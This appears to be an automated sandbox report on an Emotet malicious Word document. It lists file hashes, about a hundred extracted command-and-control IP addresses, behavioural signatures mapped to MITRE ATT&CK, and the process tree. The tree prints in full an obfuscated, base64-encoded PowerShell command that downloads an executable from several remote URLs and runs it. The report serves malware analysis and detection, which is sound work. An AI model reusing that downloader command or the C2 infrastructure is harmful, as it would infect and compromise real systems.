emotet | b98bfff40e1a2305fe983aee8842e25ebbd00d027f693a77e97008ce6a5fb2fa

Analysis

max time kernel
148s
max time network
150s
platform
windows10_x64
resource
win10v200722
submitted
20/10/2020, 09:48

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General

Target
emotet_e1_b98bfff40e1a2305fe983aee8842e25ebbd00d027f693a77e97008ce6a5fb2fa_2020-10-20__094609938990._doc.doc
Size 163KB
Sample201020-rl7ba37cf6
SHA256 b98bfff40e1a2305fe983aee8842e25ebbd00d027f693a77e97008ce6a5fb2fa
MD5 1e7f8998eb1d51d276b81fb20e71eec4
SHA1 c77f805caefebb90a05fbe7052a801ac91b6a8eb
SHA512 84eeac1b7c8e7e4cb18bc526a89710a5d0751b6d42704b4de4ec9c61cfb2d1ae77406c2d067596fd348f4e5991bc9e4ae07b9c3a8c5093630c524a5f30d46b8a
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Family

emotet

Botnet

Epoch1

186.189.249.2:80
59.148.253.194:8080
173.212.197.71:8080
5.89.33.136:80
177.144.130.105:443
190.190.219.184:80
82.76.111.249:443
70.32.115.157:8080
62.84.75.50:80
190.24.243.186:80
51.15.7.145:80
24.232.228.233:80
46.105.114.137:8080
216.47.196.104:80
172.86.186.21:8080
186.103.141.250:443
128.92.203.42:80
190.188.245.242:80
152.169.22.67:80
170.81.48.2:80
178.211.45.66:8080
201.71.228.86:80
111.67.12.221:8080
70.169.17.134:80
5.196.35.138:7080
104.131.41.185:8080
60.93.23.51:80
181.123.6.86:80
137.74.106.111:7080
51.15.7.189:80
94.176.234.118:443
74.135.120.91:80
188.135.15.49:80
77.78.196.173:443
177.73.0.98:443
213.52.74.198:80
177.144.130.105:8080
177.74.228.34:80
209.236.123.42:8080
37.187.161.206:8080
174.118.202.24:443
178.250.54.208:8080
109.190.35.249:80
188.251.213.180:80
191.182.6.118:80
64.201.88.132:80
79.118.74.90:80
177.129.17.170:443
212.71.237.140:8080
109.190.249.106:80
192.232.229.54:7080
189.223.16.99:80
201.213.177.139:80
85.214.26.7:8080
191.191.23.135:80
46.43.2.95:8080
50.28.51.143:8080
98.103.204.12:443
37.179.145.105:80
46.101.58.37:8080
2.45.176.233:80
74.58.215.226:80
68.183.190.199:8080
185.94.252.27:443
186.222.250.115:8080
51.255.165.160:8080
138.97.60.140:8080
183.176.82.231:80
105.209.235.113:8080
77.238.212.227:80
103.236.179.162:80
45.46.37.97:80
83.169.21.32:7080
217.13.106.14:8080
68.183.170.114:8080
192.241.143.52:8080
202.134.4.210:7080
177.23.7.151:80
192.81.38.31:80
188.157.101.114:80
185.183.16.47:80
181.129.96.162:8080
87.106.46.107:8080
149.202.72.142:7080
45.33.77.42:8080
186.70.127.199:8090
175.143.12.123:8080
98.13.75.196:80
12.163.208.58:80
5.189.178.202:8080
138.97.60.141:7080
181.30.61.163:443
219.92.13.25:80
181.61.182.143:80
213.197.182.158:8080
1.226.84.243:8080
12.162.84.2:8080
189.2.177.210:443
185.94.252.12:80
51.75.33.127:80
190.115.18.139:8080
70.32.84.74:8080
81.215.230.173:443
172.104.169.32:8080
37.183.81.217:80
200.127.14.97:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2880	2396	POwersheLL.exe	75

Emotet Payload 2 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1692-16-0x00000000020D0000-0x00000000020E0000-memory.dmp	emotet
behavioral2/memory/4008-22-0x0000000000720000-0x0000000000730000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
31	2880	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1692	Z9nwl10.exe
4008	rastls.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Windows.Devices.Midi\rastls.exe	Z9nwl10.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3740	WINWORD.EXE
3740	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2880	POwersheLL.exe
2880	POwersheLL.exe
2880	POwersheLL.exe
4008	rastls.exe
4008	rastls.exe
4008	rastls.exe
4008	rastls.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2880	POwersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
1692	Z9nwl10.exe
1692	Z9nwl10.exe
4008	rastls.exe
4008	rastls.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1692 wrote to memory of 4008	1692	Z9nwl10.exe	81
PID 1692 wrote to memory of 4008	1692	Z9nwl10.exe	81
PID 1692 wrote to memory of 4008	1692	Z9nwl10.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_b98bfff40e1a2305fe983aee8842e25ebbd00d027f693a77e97008ce6a5fb2fa_2020-10-20__094609938990._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3740

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD IAAgAHMAZQB0AC0AdgBBAFIASQBBAEIAbABFACAAIAAoACcAMQBJACcAKwAnADYAdwBlAEwAJwApACAAKAAgAFsAVABZAFAARQBdACgAJwBzACcAKwAnAHkAJwArACcAUwB0AGUAbQAnACsAJwAuAEkAbwAnACsAJwAuAEQAaQAnACsAJwBSAEUAQwBUAE8AcgBZACcAKQAgACAAKQA7ACAAUwBFAHQALQBpAFQAZQBtACAAVgBhAFIAaQBBAGIAbABFADoAOABuAHoAagAgACgAWwBUAHkAcABlAF0AKAAnAFMAeQBzAFQAZQBtAC4AbgBFAFQAJwArACcALgBTAEUAJwArACcAcgAnACsAJwBWACcAKwAnAEkAQwBFAHAAbwBpAG4AdABNAEEAJwArACcAbgBBACcAKwAnAEcARQBSACcAKQAgACkAOwBzAGUAVAAgACAAKAAnAGMAVgAnACsAJwBUADQAMgA3ACcAKQAgACgAWwBUAHkAUABFAF0AKAAnAFMAWQBzAHQAZQBNAC4AJwArACcATgBlAHQALgBTAGUAJwArACcAQwB1AHIASQAnACsAJwBUAHkAcABSAE8AdABPAEMAbwBMACcAKwAnAHQAWQAnACsAJwBQAGUAJwApACAAKQAgADsAIAAkAEMAaABzAGIAOQAwADgAPQAoACcAQgAnACsAJwB2AHIAMgAwAGMANQAnACkAOwAkAEEAdQBoAHcANAB5AHIAPQAkAFYAOABxADgAbgA2AGoAIAArACAAWwBjAGgAYQByAF0AKAA4ADAAIAAtACAAMwA4ACkAIAArACAAJABZAG0AbgB3AGkANgB6ADsAJABaAGUAdAB3AGYAcAB0AD0AKAAnAFgAZAAnACsAJwB4AGcAYwBzAG4AJwApADsAIAAgACgARABpAFIAIAAoACIAdgBBAFIAIgArACIASQBBAGIATAAiACsAIgBFADoAMQBpADYAdwBlACIAKwAiAGwAIgApACkALgB2AEEAbABVAGUAOgA6AGMAcgBFAGEAdABlAEQASQByAGUAYwBUAE8AUgBZACgAJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQAgACsAIAAoACgAJwBJAFQAJwArACcAcQBTACcAKwAnADQAdQB6ADIAdAAnACsAJwBpACcAKwAnAEkAVABxAE0AZABtAG8AJwArACcAOABpAHUASQAnACsAJwBUAHEAJwApAC4AcgBlAFAAbABBAGMAZQAoACgAWwBjAGgAYQByAF0ANwAzACsAWwBjAGgAYQByAF0AOAA0ACsAWwBjAGgAYQByAF0AMQAxADMAKQAsAFsAcwB0AHIASQBOAEcAXQBbAGMAaABhAHIAXQA5ADIAKQApACkAOwAkAEcAdwB1AF8ANAB5AHoAPQAoACcAWQA3AGUAJwArACcAdwAnACsAJwB2AGsAagAnACkAOwAgACAAKABpAHQARQBNACAAIAB2AGEAUgBpAGEAYgBsAGUAOgA4AE4AegBKACAAIAApAC4AdgBBAEwAdQBFADoAOgBzAGUAYwBVAFIAaQB0AFkAUAByAG8AdABvAGMAbwBMACAAPQAgACAAKAAgACAAdgBBAFIASQBhAGIAbABFACAAKAAnAGMAVgAnACsAJwBUADQAMgA3ACcAKQApAC4AVgBhAGwAVQBFADoAOgB0AEwAUwAxADIAOwAkAFcAMQAyADUAdQBpAHYAPQAoACcASgB6AGEAawBoACcAKwAnAGMAdgAnACkAOwAkAEUAZwB6ADcAMQB2AGoAIAA9ACAAKAAnAFoAJwArACcAOQBuAHcAbAAnACsAJwAxADAAJwApADsAJABMAGoAeQBrAGsAOQBnAD0AKAAnAFYAcgBrACcAKwAnAG4AMwB0ADcAJwApADsAJABCAGYAdwBlAHkAcABjAD0AKAAnAEgAMQB4AHgAOQAnACsAJwB5ADcAJwApADsAJABKAGsAbgBmAHoAOQB0AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHsAMAB9ACcAKwAnAFMAJwArACcANAB1ACcAKwAnAHoAMgB0AGkAewAwAH0ATQBkAG0AbwA4ACcAKwAnAGkAdQB7ADAAfQAnACkAIAAgAC0AZgAgAFsAYwBIAEEAcgBdADkAMgApACsAJABFAGcAegA3ADEAdgBqACsAKAAnAC4AJwArACcAZQB4AGUAJwApADsAJABUAHAAbwBsAHUAawBlAD0AKAAnAE4AbwBxACcAKwAnADIAJwArACcAMwBpAHgAJwApADsAJABNAGgAMgAyAHoAawBvAD0AbgBlAGAAdwAtAG8AYABCAEoARQBjAFQAIABOAGUAVAAuAFcARQBiAEMATABJAEUAbgBUADsAJABaAHgAZwB5AGgAeAA1AD0AKAAnAGgAdAB0AHAAOgAvAC8AJwArACcAdwBvACcAKwAnAGQAcwB1ACcAKwAnAGkAJwArACcAdAAuACcAKwAnAGMAbwBtACcAKwAnAC8AcgBhAG0AJwArACcALQBhAGkAJwArACcAcwBpAG4AJwArACcALwA3ACcAKwAnAHIAOQAnACsAJwAvACoAaAB0ACcAKwAnAHQAcAA6AC8ALwBoACcAKwAnAG8AbwBiAGkAcQAuAGMAbwAnACsAJwBtAC8AYwBnAGkALQAnACsAJwBiAGkAbgAvACcAKwAnAFgAeQB2AC8AKgAnACsAJwBoAHQAJwArACcAdABwADoALwAvAGIAbwAnACsAJwBtAGYAdQB0AHUAcgBvACcAKwAnAGEAZAAnACsAJwBlAHMAaQB2ACcAKwAnAG8AcwAuAGMAJwArACcAbwBtAC8AZwAnACsAJwBhAGwAJwArACcAbABlACcAKwAnAHIAeQBfADAAMwAnACsAJwBmACcAKwAnADUAOQBhADEAYwBjADIAMAAwACcAKwAnADkANgAnACsAJwA1ADMAOQBjADcAYQBlAGMAMQBiADYAJwArACcAMQBkACcAKwAnADcAJwArACcANAA3ACcAKwAnADEAYQAvACcAKwAnADMAZQAvACcAKwAnACoAaAB0AHQAcAAnACsAJwBzACcAKwAnADoALwAnACsAJwAvAHYAYQB0ADIAMAAnACsAJwAxAC4AYwBvAG0ALwBjAGEAbABjAHUAbABhAHQAbwByAC8AaQB0ACcAKwAnAFEALwAqACcAKwAnAGgAdAB0AHAAOgAnACsAJwAvAC8AdgBpAGsAJwArACcAaQAnACsAJwBuACcAKwAnAGcAZwAnACsAJwBnAC4AYwBvAG0ALwBoACcAKwAnAHkAZAByAG8AbAB5AHMAaQAnACsAJwBzAC0AJwArACcAbwBmAC8AYgBZAC8AJwArACcAKgBoAHQAJwArACcAdABwAHMAOgAvACcAKwAnAC8AbQBvAGgAYQBtAGUAZAAnACsAJwBzAGEAJwArACcAeQBlAGQALgBjAG8AJwArACcAbQAvAHcAcAAtAGEAZAAnACsAJwBtAGkAJwArACcAbgAvAFoAdAAvACoAJwArACcAaAB0ACcAKwAnAHQAcABzADoAJwArACcALwAnACsAJwAvAGgAbwBzACcAKwAnAHQAJwArACcAaQBtAHAAZQAnACsAJwBsAC4AYwBvAG0AJwArACcALwBqAHMALwBxAC8AJwApAC4AUwBQAGwAaQB0ACgAJABDAGwAdQBmAGQANgB5ACAAKwAgACQAQQB1AGgAdwA0AHkAcgAgACsAIAAkAEYANABfAHYAbAB0AHoAKQA7ACQAUABlAHcAbQBlAHUAcwA9ACgAJwBBAGYAJwArACcAdwBrAF8AJwArACcAbABkACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAQgBsAGYAcgBrAGcAegAgAGkAbgAgACQAWgB4AGcAeQBoAHgANQApAHsAdAByAHkAewAkAE0AaAAyADIAegBrAG8ALgBEAG8AdwBuAGwAbwBBAEQARgBpAGwAZQAoACQAQgBsAGYAcgBrAGcAegAsACAAJABKAGsAbgBmAHoAOQB0ACkAOwAkAEIAZwB1AHgAZAAxAGQAPQAoACcAVQAnACsAJwBvAGQAMwBsACcAKwAnAHQAZgAnACkAOwBJAGYAIAAoACgAZwBFAFQALQBpAGAAVABgAGUATQAgACQASgBrAG4AZgB6ADkAdAApAC4AbABlAG4ARwBUAGgAIAAtAGcAZQAgADMAOQA4ADkANgApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AKAAnAHcAaQBuACcAKwAnADMAMgBfACcAKwAnAFAAcgAnACsAJwBvAGMAZQBzAHMAJwApACkALgBDAHIARQBBAHQAZQAoACQASgBrAG4AZgB6ADkAdAApADsAJABHAGYAeQB3AGwAbABzAD0AKAAnAFYAZgAnACsAJwAwACcAKwAnAGoAbwBiADcAJwApADsAYgByAGUAYQBrADsAJABYAHQAZQAwAGMAZAA3AD0AKAAnAFMAdgAnACsAJwAyACcAKwAnAHIAMgBxAHMAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABQAHUAMgBnAHAAcgAyAD0AKAAnAEIAJwArACcANQBrAHYAJwArACcAZQB4AG8AJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2880

C:\Users\Admin\S4uz2ti\Mdmo8iu\Z9nwl10.exe
C:\Users\Admin\S4uz2ti\Mdmo8iu\Z9nwl10.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1692
- C:\Windows\SysWOW64\Windows.Devices.Midi\rastls.exe
  "C:\Windows\SysWOW64\Windows.Devices.Midi\rastls.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:4008

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1692-16-0x00000000020D0000-0x00000000020E0000-memory.dmp

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memory/2880-8-0x00007FFA646C0000-0x00007FFA650AC000-memory.dmp

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memory/2880-9-0x0000022F2B0C0000-0x0000022F2B0C1000-memory.dmp

Download

memory/2880-10-0x0000022F2B270000-0x0000022F2B271000-memory.dmp

Download

memory/3740-0-0x00007FFA6B3F0000-0x00007FFA6BAB6000-memory.dmp

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memory/3740-4-0x000001EEE5B06000-0x000001EEE5B0B000-memory.dmp

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memory/4008-22-0x0000000000720000-0x0000000000730000-memory.dmp

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